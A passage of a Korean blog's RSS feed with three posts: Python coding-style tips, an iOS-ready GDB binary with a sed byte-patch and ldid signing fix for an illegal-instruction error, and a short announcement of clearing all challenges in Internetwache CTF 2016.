style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt;&quot;&gt;&lt;span style=&quot;color: rgb(140, 140, 140); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;except: (x&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; color: rgb(140, 140, 140); font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;except ImportError: (o)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;- try: 블록의 코드는 필요한 것만&amp;nbsp;최소한으로 작성&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;- string module보다 string methods를 사용&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;- 접두사나 접미사를 검사할 때는&amp;nbsp;startswith()와&amp;nbsp;endswith()를 사용&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;- 객체의 타입을 비교할 때는&amp;nbsp;isinstance()를 사용&lt;/span&gt;&lt;/p&gt;</description>
      <category>Programming/Python</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/270</guid>
      <comments>https://do9dark.tistory.com/270#entry270comment</comments>
      <pubDate>Mon, 15 Aug 2016 17:39:04 +0900</pubDate>
    </item>
    <item>
      <title>iOS에서 사용 가능한 GDB</title>
      <link>https://do9dark.tistory.com/269</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;Xcode에 있는 GDB를 변환하여 iOS에서 사용이 가능한&amp;nbsp;바이너리 파일입니다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block;   height: auto; max-width: 100%;&quot;&gt;&lt;a href=&quot;https://t1.daumcdn.net/cfile/tistory/2346054D57985ECA07&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://i1.daumcdn.net/cfs.tistory/v/0/blog/image/extension/unknown.gif&quot; style=&quot;vertical-align: middle;&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;gdb&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&lt;b&gt;GDB 실행 시 &quot;Illegal Instruction: 4&quot; 에러가 발생할 경우 해결 방법:&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;#&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt; sed -i 's/\x00\x30\x93\xe4/\x00\x30\x93\xe5/g;s/\x00\x30\xd3\xe4/\x00\x30\xd3\xe5/g;' /usr/bin/gdb&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;#&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&amp;nbsp;ldid -s /usr/bin/gdb&lt;/span&gt;&lt;/p&gt;</description>
      <category>Mobile/iOS</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/269</guid>
      <comments>https://do9dark.tistory.com/269#entry269comment</comments>
      <pubDate>Wed, 27 Jul 2016 16:12:56 +0900</pubDate>
    </item>
    <item>
      <title>CTF 최초 ALL CLEAR</title>
      <link>https://do9dark.tistory.com/268</link>
      <description>&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;Internetwache CTF 2016 (2016.02.22)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 800px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2270454857767E1A36&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F2270454857767E1A36&quot; width=&quot;800&quot; height=&quot;1402&quot; filename=&quot;001.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;TenDollar 최초 ALL CLEAR :)&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>History</category>
      <category>ctf</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/268</guid>
      <comments>https://do9dark.tistory.com/268#entry268comment</comments>
      <pubDate>Fri, 1 Jul 2016 23:39:53 +0900</pubDate>
    </item>
  </channel>
</rss>